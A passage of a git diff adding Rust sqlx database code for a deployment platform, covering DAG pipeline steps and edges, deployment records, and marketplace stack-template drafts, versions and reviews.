tracing::info_span!("Listing DAG steps"); + sqlx::query_as::<_, DagStep>( + r#" + SELECT id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at + FROM pipe_dag_steps WHERE pipe_template_id = $1 + ORDER BY step_order ASC, created_at ASC + "#, + ) + .bind(template_id) + .fetch_all(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to list DAG steps: {:?}", err); + format!("Failed to list DAG steps: {}", err) + }) +} + +#[tracing::instrument(name = "Update DAG step", skip(pool))] +pub async fn update_step( + pool: &PgPool, + step_id: &Uuid, + name: Option<&str>, + config: Option<&serde_json::Value>, + step_order: Option, +) -> Result { + let span = tracing::info_span!("Updating DAG step"); + sqlx::query_as::<_, DagStep>( + r#" + UPDATE pipe_dag_steps SET + name = COALESCE($2, name), + config = COALESCE($3, config), + step_order = COALESCE($4, step_order), + updated_at = NOW() + WHERE id = $1 + RETURNING id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at + "#, + ) + .bind(step_id) + .bind(name) + .bind(config) + .bind(step_order) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to update DAG step: {:?}", err); + format!("Failed to update DAG step: {}", err) + }) +} + +#[tracing::instrument(name = "Delete DAG step", skip(pool))] +pub async fn delete_step(pool: &PgPool, step_id: &Uuid) -> Result { + let span = tracing::info_span!("Deleting DAG step"); + let result = sqlx::query("DELETE FROM pipe_dag_steps WHERE id = $1") + .bind(step_id) + .execute(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to delete DAG step: {:?}", err); + format!("Failed to delete DAG step: {}", err) + })?; + Ok(result.rows_affected()) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DagEdge queries +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[tracing::instrument(name = "Insert DAG edge", skip(pool))] +pub async fn insert_edge(pool: &PgPool, edge: &DagEdge) -> Result { + let span = tracing::info_span!("Saving DAG edge to database"); + sqlx::query_as::<_, DagEdge>( + r#" + INSERT INTO pipe_dag_edges (id, pipe_template_id, from_step_id, to_step_id, condition, created_at) + VALUES ($1, $2, $3, $4, $5, $6) + RETURNING id, pipe_template_id, from_step_id, to_step_id, condition, created_at + "#, + ) + .bind(edge.id) + .bind(edge.pipe_template_id) + .bind(edge.from_step_id) + .bind(edge.to_step_id) + .bind(&edge.condition) + .bind(edge.created_at) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to insert DAG edge: {:?}", err); + format!("Failed to insert DAG edge: {}", err) + }) +} + +#[tracing::instrument(name = "List DAG edges for template", skip(pool))] +pub async fn list_edges(pool: &PgPool, template_id: &Uuid) -> Result, String> { + let span = tracing::info_span!("Listing DAG edges"); + sqlx::query_as::<_, DagEdge>( + r#" + SELECT id, pipe_template_id, from_step_id, to_step_id, condition, created_at + FROM pipe_dag_edges WHERE pipe_template_id = $1 + ORDER BY created_at ASC + "#, + ) + .bind(template_id) + .fetch_all(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to list DAG edges: {:?}", err); + format!("Failed to list DAG edges: {}", err) + }) +} + +#[tracing::instrument(name = "Delete DAG edge", skip(pool))] +pub async fn delete_edge(pool: &PgPool, edge_id: &Uuid) -> Result { + let span = tracing::info_span!("Deleting DAG edge"); + let result = sqlx::query("DELETE FROM pipe_dag_edges WHERE id = $1") + .bind(edge_id) + .execute(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to delete DAG edge: {:?}", err); + format!("Failed to delete DAG edge: {}", err) + })?; + Ok(result.rows_affected()) +} + +/// Check if adding an edge from→to would create a cycle in the DAG. +/// Uses iterative DFS from `to_step_id` following existing edges. +#[tracing::instrument(name = "Check DAG cycle", skip(pool))] +pub async fn would_create_cycle( + pool: &PgPool, + template_id: &Uuid, + from_step_id: &Uuid, + to_step_id: &Uuid, +) -> Result { + // If from == to, trivial cycle + if from_step_id == to_step_id { + return Ok(true); + } + + let edges = list_edges(pool, template_id).await?; + + // DFS from to_step_id: can we reach from_step_id via existing edges? + let mut visited = std::collections::HashSet::new(); + let mut stack = vec![*to_step_id]; + + while let Some(current) = stack.pop() { + if current == *from_step_id { + return Ok(true); + } + if visited.contains(¤t) { + continue; + } + visited.insert(current); + + for edge in &edges { + if edge.from_step_id == current { + stack.push(edge.to_step_id); + } + } + } + + Ok(false) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DagStepExecution queries +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[tracing::instrument(name = "Insert DAG step execution", skip(pool))] +pub async fn insert_step_execution( + pool: &PgPool, + exec: &DagStepExecution, +) -> Result { + let span = tracing::info_span!("Saving DAG step execution"); + sqlx::query_as::<_, DagStepExecution>( + r#" + INSERT INTO pipe_dag_step_executions + (id, pipe_execution_id, step_id, status, input_data, output_data, error, started_at, completed_at, created_at) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) + RETURNING id, pipe_execution_id, step_id, status, input_data, output_data, error, started_at, completed_at, created_at + "#, + ) + .bind(exec.id) + .bind(exec.pipe_execution_id) + .bind(exec.step_id) + .bind(&exec.status) + .bind(&exec.input_data) + .bind(&exec.output_data) + .bind(&exec.error) + .bind(exec.started_at) + .bind(exec.completed_at) + .bind(exec.created_at) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to insert DAG step execution: {:?}", err); + format!("Failed to insert DAG step execution: {}", err) + }) +} + +#[tracing::instrument(name = "List step executions for pipe execution", skip(pool))] +pub async fn list_step_executions( + pool: &PgPool, + pipe_execution_id: &Uuid, +) -> Result, String> { + let span = tracing::info_span!("Listing DAG step executions"); + sqlx::query_as::<_, DagStepExecution>( + r#" + SELECT id, pipe_execution_id, step_id, status, input_data, output_data, error, started_at, completed_at, created_at + FROM pipe_dag_step_executions WHERE pipe_execution_id = $1 + ORDER BY created_at ASC + "#, + ) + .bind(pipe_execution_id) + .fetch_all(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to list step executions: {:?}", err); + format!("Failed to list step executions: {}", err) + }) +} + +#[tracing::instrument(name = "Update step execution status", skip(pool))] +pub async fn update_step_execution( + pool: &PgPool, + exec_id: &Uuid, + status: &str, + output_data: Option<&serde_json::Value>, + error: Option<&str>, +) -> Result { + let span = tracing::info_span!("Updating DAG step execution status"); + let now = chrono::Utc::now(); + sqlx::query_as::<_, DagStepExecution>( + r#" + UPDATE pipe_dag_step_executions SET + status = $2, + output_data = COALESCE($3, output_data), + error = COALESCE($4, error), + started_at = CASE WHEN $2 = 'running' AND started_at IS NULL THEN $5 ELSE started_at END, + completed_at = CASE WHEN $2 IN ('completed', 'failed', 'skipped') THEN $5 ELSE completed_at END + WHERE id = $1 + RETURNING id, pipe_execution_id, step_id, status, input_data, output_data, error, started_at, completed_at, created_at + "#, + ) + .bind(exec_id) + .bind(status) + .bind(output_data) + .bind(error) + .bind(now) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|err| { + tracing::error!("Failed to update step execution: {:?}", err); + format!("Failed to update step execution: {}", err) + }) +} diff --git a/stacker/stacker/src/db/deployment.rs b/stacker/stacker/src/db/deployment.rs new file mode 100644 index 0000000..ba5027a --- /dev/null +++ b/stacker/stacker/src/db/deployment.rs @@ -0,0 +1,276 @@ +use crate::models; +use sqlx::PgPool; +use sqlx::Row; +use tracing::Instrument; + +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + tracing::info!("Fetch deployment {}", id); + sqlx::query_as!( + models::Deployment, + r#" + SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata, + last_seen_at, created_at, updated_at + FROM deployment + WHERE id=$1 + LIMIT 1 + "#, + id + ) + .fetch_one(pool) + .await + .map(|deployment| Some(deployment)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + e => { + tracing::error!("Failed to fetch deployment, error: {:?}", e); + Err("Could not fetch data".to_string()) + } + }) +} + +pub async fn insert( + pool: &PgPool, + mut deployment: models::Deployment, +) -> Result { + let query_span = tracing::info_span!("Saving new deployment into the database"); + sqlx::query!( + r#" + INSERT INTO deployment ( + project_id, user_id, deployment_hash, deleted, status, runtime, metadata, last_seen_at, created_at, updated_at + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) + RETURNING id; + "#, + deployment.project_id, + deployment.user_id, + deployment.deployment_hash, + deployment.deleted, + deployment.status, + deployment.runtime, + deployment.metadata, + deployment.last_seen_at, + deployment.created_at, + deployment.updated_at, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(move |result| { + deployment.id = result.id; + deployment + }) + .map_err(|e| { + tracing::error!("Failed to execute query: {:?}", e); + "Failed to insert".to_string() + }) +} + +pub async fn update( + pool: &PgPool, + mut deployment: models::Deployment, +) -> Result { + let query_span = tracing::info_span!("Updating user deployment into the database"); + sqlx::query_as!( + models::Deployment, + r#" + UPDATE deployment + SET + project_id=$2, + user_id=$3, + deployment_hash=$4, + deleted=$5, + status=$6, + runtime=$7, + metadata=$8, + last_seen_at=$9, + updated_at=NOW() at time zone 'utc' + WHERE id = $1 + RETURNING * + "#, + deployment.id, + deployment.project_id, + deployment.user_id, + deployment.deployment_hash, + deployment.deleted, + deployment.status, + deployment.runtime, + deployment.metadata, + deployment.last_seen_at, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|result| { + tracing::info!("Deployment {} has been updated", deployment.id); + deployment.updated_at = result.updated_at; + deployment + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "".to_string() + }) +} + +pub async fn fetch_by_deployment_hash( + pool: &PgPool, + deployment_hash: &str, +) -> Result, String> { + tracing::info!("Fetch deployment by hash: {}", deployment_hash); + sqlx::query_as!( + models::Deployment, + r#" + SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata, + last_seen_at, created_at, updated_at + FROM deployment + WHERE deployment_hash = $1 + LIMIT 1 + "#, + deployment_hash + ) + .fetch_one(pool) + .await + .map(Some) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + e => { + tracing::error!("Failed to fetch deployment by hash: {:?}", e); + Err("Could not fetch deployment".to_string()) + } + }) +} + +/// Fetch deployment by project ID +pub async fn fetch_by_project_id( + pool: &PgPool, + project_id: i32, +) -> Result, String> { + tracing::debug!("Fetch deployment by project_id: {}", project_id); + sqlx::query_as!( + models::Deployment, + r#" + SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata, + last_seen_at, created_at, updated_at + FROM deployment + WHERE project_id = $1 AND deleted = false + ORDER BY created_at DESC + LIMIT 1 + "#, + project_id + ) + .fetch_one(pool) + .await + .map(Some) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + e => { + tracing::error!("Failed to fetch deployment by project_id: {:?}", e); + Err("Could not fetch deployment".to_string()) + } + }) +} + +pub async fn fetch_by_user( + pool: &PgPool, + user_id: &str, + limit: i64, +) -> Result, String> { + tracing::debug!("Fetch deployments by user_id: {}", user_id); + sqlx::query_as!( + models::Deployment, + r#" + SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata, + last_seen_at, created_at, updated_at + FROM deployment + WHERE user_id = $1 AND deleted = false + ORDER BY created_at DESC + LIMIT $2 + "#, + user_id, + limit, + ) + .fetch_all(pool) + .await + .map_err(|err| { + tracing::error!("Failed to fetch deployments by user_id: {:?}", err); + "Could not fetch deployments".to_string() + }) +} + +pub async fn fetch_by_user_and_project( + pool: &PgPool, + user_id: &str, + project_id: i32, + limit: i64, +) -> Result, String> { + tracing::debug!( + "Fetch deployments by user_id: {} and project_id: {}", + user_id, + project_id + ); + sqlx::query_as!( + models::Deployment, + r#" + SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata, + last_seen_at, created_at, updated_at + FROM deployment + WHERE user_id = $1 AND project_id = $2 AND deleted = false + ORDER BY created_at DESC + LIMIT $3 + "#, + user_id, + project_id, + limit, + ) + .fetch_all(pool) + .await + .map_err(|err| { + tracing::error!( + "Failed to fetch deployments by user_id/project_id: {:?}", + err + ); + "Could not fetch deployments".to_string() + }) +} + +pub async fn fetch_by_project( + pool: &PgPool, + project_id: i32, + limit: i64, +) -> Result, String> { + tracing::debug!("Fetch deployments by project_id: {}", project_id); + sqlx::query( + r#" + SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata, + last_seen_at, created_at, updated_at + FROM deployment + WHERE project_id = $1 AND deleted = false + ORDER BY created_at DESC + LIMIT $2 + "#, + ) + .bind(project_id) + .bind(limit) + .fetch_all(pool) + .await + .map(|rows| { + rows.into_iter() + .map(|row| models::Deployment { + id: row.get("id"), + project_id: row.get("project_id"), + deployment_hash: row.get("deployment_hash"), + user_id: row.get("user_id"), + deleted: row.get("deleted"), + status: row.get("status"), + runtime: row.get("runtime"), + metadata: row.get("metadata"), + last_seen_at: row.get("last_seen_at"), + created_at: row.get("created_at"), + updated_at: row.get("updated_at"), + }) + .collect() + }) + .map_err(|err| { + tracing::error!("Failed to fetch deployments by project_id: {:?}", err); + "Could not fetch deployments".to_string() + }) +} diff --git a/stacker/stacker/src/db/marketplace.rs b/stacker/stacker/src/db/marketplace.rs new file mode 100644 index 0000000..ad9d2bc --- /dev/null +++ b/stacker/stacker/src/db/marketplace.rs @@ -0,0 +1,2306 @@ +use crate::models::{ + AnalyticsPeriod, AnalyticsSummary, CloudBreakdown, MarketplaceVendorProfile, SeriesBucket, + StackCategory, StackTemplate, StackTemplateReview, StackTemplateVersion, TemplateAnalytics, + TemplatePerformance, VendorAnalytics, +}; +use chrono::{Duration, Utc}; +use serde_json::{Map, Value}; +use sqlx::{PgPool, Row}; +use tracing::Instrument; + +pub const SLUG_UNIQUE_CONSTRAINT: &str = "stack_template_slug_key"; + +#[derive(Debug)] +pub enum CreateDraftError { + DuplicateSlug { slug: String }, + Internal, +} + +pub async fn list_approved( + pool: &PgPool, + category: Option<&str>, + tag: Option<&str>, + sort: Option<&str>, +) -> Result, String> { + let mut base = String::from( + r#"SELECT + t.id, + t.creator_user_id, + t.creator_name, + t.name, + t.slug, + t.short_description, + t.long_description, + c.name AS category_code, + t.product_id, + t.tags, + t.tech_stack, + t.status, + t.is_configurable, + t.view_count, + t.deploy_count, + t.required_plan_name, + t.price, + t.billing_cycle, + t.currency, + t.created_at, + t.updated_at, + t.approved_at, + t.verifications, + t.infrastructure_requirements, + t.public_ports, + t.vendor_url + FROM stack_template t + LEFT JOIN stack_category c ON t.category_id = c.id + WHERE t.status = 'approved'"#, + ); + + match (category.is_some(), tag.is_some()) { + (true, true) => base.push_str(" AND c.name = $1 AND t.tags ? $2"), + (true, false) => base.push_str(" AND c.name = $1"), + (false, true) => base.push_str(" AND t.tags ? $1"), + (false, false) => {} + } + + match sort.unwrap_or("recent") { + // Hardened images always float to the top of each sort bucket + "popular" => base.push_str( + " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.deploy_count DESC, t.view_count DESC", + ), + "rating" => base.push_str( + " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, (SELECT AVG(rate) FROM rating WHERE rating.product_id = t.product_id) DESC NULLS LAST", + ), + _ => base.push_str( + " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.approved_at DESC NULLS LAST, t.created_at DESC", + ), + } + + let query_span = tracing::info_span!("marketplace_list_approved"); + + let res = if category.is_some() && tag.is_some() { + sqlx::query_as::<_, StackTemplate>(&base) + .bind(category.unwrap()) + .bind(tag.unwrap()) + .fetch_all(pool) + .instrument(query_span) + .await + } else if category.is_some() { + sqlx::query_as::<_, StackTemplate>(&base) + .bind(category.unwrap()) + .fetch_all(pool) + .instrument(query_span) + .await + } else if tag.is_some() { + sqlx::query_as::<_, StackTemplate>(&base) + .bind(tag.unwrap()) + .fetch_all(pool) + .instrument(query_span) + .await + } else { + sqlx::query_as::<_, StackTemplate>(&base) + .fetch_all(pool) + .instrument(query_span) + .await + }; + + res.map_err(|e| { + tracing::error!("list_approved error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +pub async fn get_by_slug_and_user( + pool: &PgPool, + slug: &str, + user_id: &str, +) -> Result, String> { + let query_span = + tracing::info_span!("marketplace_get_by_slug_and_user", slug = %slug, user_id = %user_id); + + sqlx::query_as::<_, StackTemplate>( + r#"SELECT + t.id, + t.creator_user_id, + t.creator_name, + t.name, + t.slug, + t.short_description, + t.long_description, + c.name AS category_code, + t.product_id, + t.tags, + t.tech_stack, + t.status, + t.is_configurable, + t.view_count, + t.deploy_count, + t.required_plan_name, + t.price, + t.billing_cycle, + t.currency, + t.created_at, + t.updated_at, + t.approved_at, + t.verifications, + t.infrastructure_requirements, + t.public_ports, + t.vendor_url + FROM stack_template t + LEFT JOIN stack_category c ON t.category_id = c.id + WHERE t.slug = $1 AND t.creator_user_id = $2"#, + ) + .bind(slug) + .bind(user_id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("get_by_slug_and_user error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +pub async fn get_by_slug_with_latest( + pool: &PgPool, + slug: &str, +) -> Result<(StackTemplate, Option), String> { + let query_span = tracing::info_span!("marketplace_get_by_slug_with_latest", slug = %slug); + + let template = sqlx::query_as::<_, StackTemplate>( + r#"SELECT + t.id, + t.creator_user_id, + t.creator_name, + t.name, + t.slug, + t.short_description, + t.long_description, + c.name AS "category_code", + t.product_id, + t.tags, + t.tech_stack, + t.status, + t.is_configurable, + t.view_count, + t.deploy_count, + t.required_plan_name, + t.price, + t.billing_cycle, + t.currency, + t.created_at, + t.updated_at, + t.approved_at, + t.verifications, + t.infrastructure_requirements, + t.public_ports, + t.vendor_url + FROM stack_template t + LEFT JOIN stack_category c ON t.category_id = c.id + WHERE t.slug = $1 AND t.status = 'approved'"#, + ) + .bind(slug) + .fetch_one(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("get_by_slug template error: {:?}", e); + "Not Found".to_string() + })?; + + let version = sqlx::query_as::<_, StackTemplateVersion>( + r#"SELECT + id, + template_id, + version, + stack_definition, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + definition_format, + changelog, + is_latest, + created_at + FROM stack_template_version WHERE template_id = $1 AND is_latest = true LIMIT 1"#, + ) + .bind(template.id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("get_by_slug version error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok((template, version)) +} + +pub async fn get_by_id( + pool: &PgPool, + template_id: uuid::Uuid, +) -> Result, String> { + let query_span = tracing::info_span!("marketplace_get_by_id", id = %template_id); + + let template = sqlx::query_as::<_, StackTemplate>( + r#"SELECT + t.id, + t.creator_user_id, + t.creator_name, + t.name, + t.slug, + t.short_description, + t.long_description, + c.name AS "category_code", + t.product_id, + t.tags, + t.tech_stack, + t.status, + t.is_configurable, + t.view_count, + t.deploy_count, + t.created_at, + t.updated_at, + t.approved_at, + t.required_plan_name, + t.price, + t.billing_cycle, + t.currency, + t.verifications, + t.infrastructure_requirements, + t.public_ports, + t.vendor_url + FROM stack_template t + LEFT JOIN stack_category c ON t.category_id = c.id + WHERE t.id = $1"#, + ) + .bind(template_id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("get_by_id error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(template) +} + +pub async fn create_draft( + pool: &PgPool, + creator_user_id: &str, + creator_name: Option<&str>, + name: &str, + slug: &str, + short_description: Option<&str>, + long_description: Option<&str>, + category_code: Option<&str>, + tags: serde_json::Value, + tech_stack: serde_json::Value, + infrastructure_requirements: serde_json::Value, + price: f64, + billing_cycle: &str, + required_plan_name: Option<&str>, + currency: &str, + public_ports: Option, + vendor_url: Option<&str>, +) -> Result { + let query_span = tracing::info_span!("marketplace_create_draft", slug = %slug); + + let price_f64 = price; + + if let Some(category_code) = category_code { + sqlx::query(r#"INSERT INTO stack_category (name) VALUES ($1) ON CONFLICT DO NOTHING"#) + .bind(category_code) + .execute(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("create_draft category upsert error: {:?}", e); + CreateDraftError::Internal + })?; + } + + let rec = sqlx::query_as::<_, StackTemplate>( + r#"INSERT INTO stack_template ( + creator_user_id, creator_name, name, slug, + short_description, long_description, category_id, + tags, tech_stack, infrastructure_requirements, status, price, billing_cycle, required_plan_name, currency, + public_ports, vendor_url + ) VALUES ($1,$2,$3,$4,$5,$6,(SELECT id FROM stack_category WHERE name = $7),$8,$9,$10,'draft',$11,$12,$13,$14,$15,$16) + RETURNING + id, + creator_user_id, + creator_name, + name, + slug, + short_description, + long_description, + (SELECT name FROM stack_category WHERE id = category_id) AS "category_code", + product_id, + tags, + tech_stack, + status, + is_configurable, + view_count, + deploy_count, + required_plan_name, + price, + billing_cycle, + currency, + created_at, + updated_at, + approved_at, + verifications, + infrastructure_requirements, + public_ports, + vendor_url + "#, + ) + .bind(creator_user_id) + .bind(creator_name) + .bind(name) + .bind(slug) + .bind(short_description) + .bind(long_description) + .bind(category_code) + .bind(tags) + .bind(tech_stack) + .bind(infrastructure_requirements) + .bind(price_f64) + .bind(billing_cycle) + .bind(required_plan_name) + .bind(currency) + .bind(public_ports) + .bind(vendor_url) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("create_draft error: {:?}", e); + + if let sqlx::Error::Database(db_err) = &e { + if db_err.code().as_deref() == Some("23505") + && db_err.constraint() == Some(SLUG_UNIQUE_CONSTRAINT) + { + return CreateDraftError::DuplicateSlug { + slug: slug.to_string(), + }; + } + } + + CreateDraftError::Internal + })?; + + Ok(rec) +} + +pub async fn set_latest_version( + pool: &PgPool, + template_id: &uuid::Uuid, + version: &str, + stack_definition: serde_json::Value, + definition_format: Option<&str>, + changelog: Option<&str>, + config_files: serde_json::Value, + assets: serde_json::Value, + seed_jobs: serde_json::Value, + post_deploy_hooks: serde_json::Value, + update_mode_capabilities: Option, +) -> Result { + let query_span = + tracing::info_span!("marketplace_set_latest_version", template_id = %template_id); + + // Clear previous latest + sqlx::query!( + r#"UPDATE stack_template_version SET is_latest = false WHERE template_id = $1 AND is_latest = true"#, + template_id + ) + .execute(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("clear_latest error: {:?}", e); + "Internal Server Error".to_string() + })?; + + let rec = sqlx::query_as::<_, StackTemplateVersion>( + r#"INSERT INTO stack_template_version ( + template_id, + version, + stack_definition, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + definition_format, + changelog, + is_latest + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,true) + RETURNING + id, + template_id, + version, + stack_definition, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + definition_format, + changelog, + is_latest, + created_at"#, + ) + .bind(template_id) + .bind(version) + .bind(stack_definition) + .bind(config_files) + .bind(assets) + .bind(seed_jobs) + .bind(post_deploy_hooks) + .bind(update_mode_capabilities) + .bind(definition_format) + .bind(changelog) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("set_latest_version error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(rec) +} + +pub async fn upsert_latest_version( + pool: &PgPool, + template_id: &uuid::Uuid, + version: &str, + stack_definition: serde_json::Value, + definition_format: Option<&str>, + changelog: Option<&str>, + config_files: serde_json::Value, + assets: serde_json::Value, + seed_jobs: serde_json::Value, + post_deploy_hooks: serde_json::Value, + update_mode_capabilities: Option, +) -> Result { + let query_span = + tracing::info_span!("marketplace_upsert_latest_version", template_id = %template_id); + + let updated = sqlx::query_as::<_, StackTemplateVersion>( + r#"UPDATE stack_template_version + SET version = $2, + stack_definition = $3, + config_files = $4, + assets = $5, + seed_jobs = $6, + post_deploy_hooks = $7, + update_mode_capabilities = $8, + definition_format = $9, + changelog = $10 + WHERE template_id = $1 AND is_latest = true + RETURNING + id, + template_id, + version, + stack_definition, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + definition_format, + changelog, + is_latest, + created_at"#, + ) + .bind(template_id) + .bind(version) + .bind(stack_definition.clone()) + .bind(config_files.clone()) + .bind(assets.clone()) + .bind(seed_jobs.clone()) + .bind(post_deploy_hooks.clone()) + .bind(update_mode_capabilities.clone()) + .bind(definition_format) + .bind(changelog) + .fetch_optional(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("upsert_latest_version update error: {:?}", e); + "Internal Server Error".to_string() + })?; + + if let Some(version_row) = updated { + return Ok(version_row); + } + + set_latest_version( + pool, + template_id, + version, + stack_definition, + definition_format, + changelog, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + ) + .await +} + +pub async fn update_metadata( + pool: &PgPool, + template_id: &uuid::Uuid, + name: Option<&str>, + short_description: Option<&str>, + long_description: Option<&str>, + category_code: Option<&str>, + tags: Option, + tech_stack: Option, + infrastructure_requirements: Option, + price: Option, + billing_cycle: Option<&str>, + required_plan_name: Option<&str>, + currency: Option<&str>, + public_ports: Option, + vendor_url: Option<&str>, +) -> Result { + let query_span = tracing::info_span!("marketplace_update_metadata", template_id = %template_id); + + // Update only allowed statuses + let status = sqlx::query_scalar!( + r#"SELECT status FROM stack_template WHERE id = $1::uuid"#, + template_id + ) + .fetch_one(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("get status error: {:?}", e); + "Not Found".to_string() + })?; + + if status != "draft" && status != "rejected" && status != "needs_changes" { + return Err("Template not editable in current status".to_string()); + } + + if let Some(category_code) = category_code { + sqlx::query(r#"INSERT INTO stack_category (name) VALUES ($1) ON CONFLICT DO NOTHING"#) + .bind(category_code) + .execute(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("update_metadata category upsert error: {:?}", e); + "Internal Server Error".to_string() + })?; + } + + let res = sqlx::query( + r#"UPDATE stack_template SET + name = COALESCE($2, name), + short_description = COALESCE($3, short_description), + long_description = COALESCE($4, long_description), + category_id = COALESCE((SELECT id FROM stack_category WHERE name = $5), category_id), + tags = COALESCE($6, tags), + tech_stack = COALESCE($7, tech_stack), + infrastructure_requirements = COALESCE($8, infrastructure_requirements), + price = COALESCE($9, price), + billing_cycle = COALESCE($10, billing_cycle), + required_plan_name = COALESCE($11, required_plan_name), + currency = COALESCE($12, currency), + public_ports = COALESCE($13, public_ports), + vendor_url = COALESCE($14, vendor_url) + WHERE id = $1::uuid"#, + ) + .bind(template_id) + .bind(name) + .bind(short_description) + .bind(long_description) + .bind(category_code) + .bind(tags) + .bind(tech_stack) + .bind(infrastructure_requirements) + .bind(price) + .bind(billing_cycle) + .bind(required_plan_name) + .bind(currency) + .bind(public_ports) + .bind(vendor_url) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("update_metadata error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(res.rows_affected() > 0) +} + +pub async fn update_metadata_for_resubmit( + pool: &PgPool, + template_id: &uuid::Uuid, + name: Option<&str>, + short_description: Option<&str>, + long_description: Option<&str>, + category_code: Option<&str>, + tags: Option, + tech_stack: Option, + infrastructure_requirements: Option, + price: Option, + billing_cycle: Option<&str>, + required_plan_name: Option<&str>, + currency: Option<&str>, + public_ports: Option, + vendor_url: Option<&str>, +) -> Result { + let query_span = + tracing::info_span!("marketplace_update_metadata_for_resubmit", template_id = %template_id); + + let status = sqlx::query_scalar!( + r#"SELECT status FROM stack_template WHERE id = $1::uuid"#, + template_id + ) + .fetch_one(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("get status for resubmit error: {:?}", e); + "Not Found".to_string() + })?; + + if status != "rejected" && status != "needs_changes" && status != "approved" { + return Err("Template metadata is not editable in current status".to_string()); + } + + if let Some(category_code) = category_code { + sqlx::query(r#"INSERT INTO stack_category (name) VALUES ($1) ON CONFLICT DO NOTHING"#) + .bind(category_code) + .execute(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!( + "update_metadata_for_resubmit category upsert error: {:?}", + e + ); + "Internal Server Error".to_string() + })?; + } + + let res = sqlx::query( + r#"UPDATE stack_template SET + name = COALESCE($2, name), + short_description = COALESCE($3, short_description), + long_description = COALESCE($4, long_description), + category_id = COALESCE((SELECT id FROM stack_category WHERE name = $5), category_id), + tags = COALESCE($6, tags), + tech_stack = COALESCE($7, tech_stack), + infrastructure_requirements = COALESCE($8, infrastructure_requirements), + price = COALESCE($9, price), + billing_cycle = COALESCE($10, billing_cycle), + required_plan_name = COALESCE($11, required_plan_name), + currency = COALESCE($12, currency), + public_ports = COALESCE($13, public_ports), + vendor_url = COALESCE($14, vendor_url) + WHERE id = $1::uuid"#, + ) + .bind(template_id) + .bind(name) + .bind(short_description) + .bind(long_description) + .bind(category_code) + .bind(tags) + .bind(tech_stack) + .bind(infrastructure_requirements) + .bind(price) + .bind(billing_cycle) + .bind(required_plan_name) + .bind(currency) + .bind(public_ports) + .bind(vendor_url) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("update_metadata_for_resubmit error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(res.rows_affected() > 0) +} + +pub async fn submit_for_review(pool: &PgPool, template_id: &uuid::Uuid) -> Result { + let query_span = + tracing::info_span!("marketplace_submit_for_review", template_id = %template_id); + + let res = sqlx::query!( + r#"UPDATE stack_template SET status = 'submitted' WHERE id = $1::uuid AND status IN 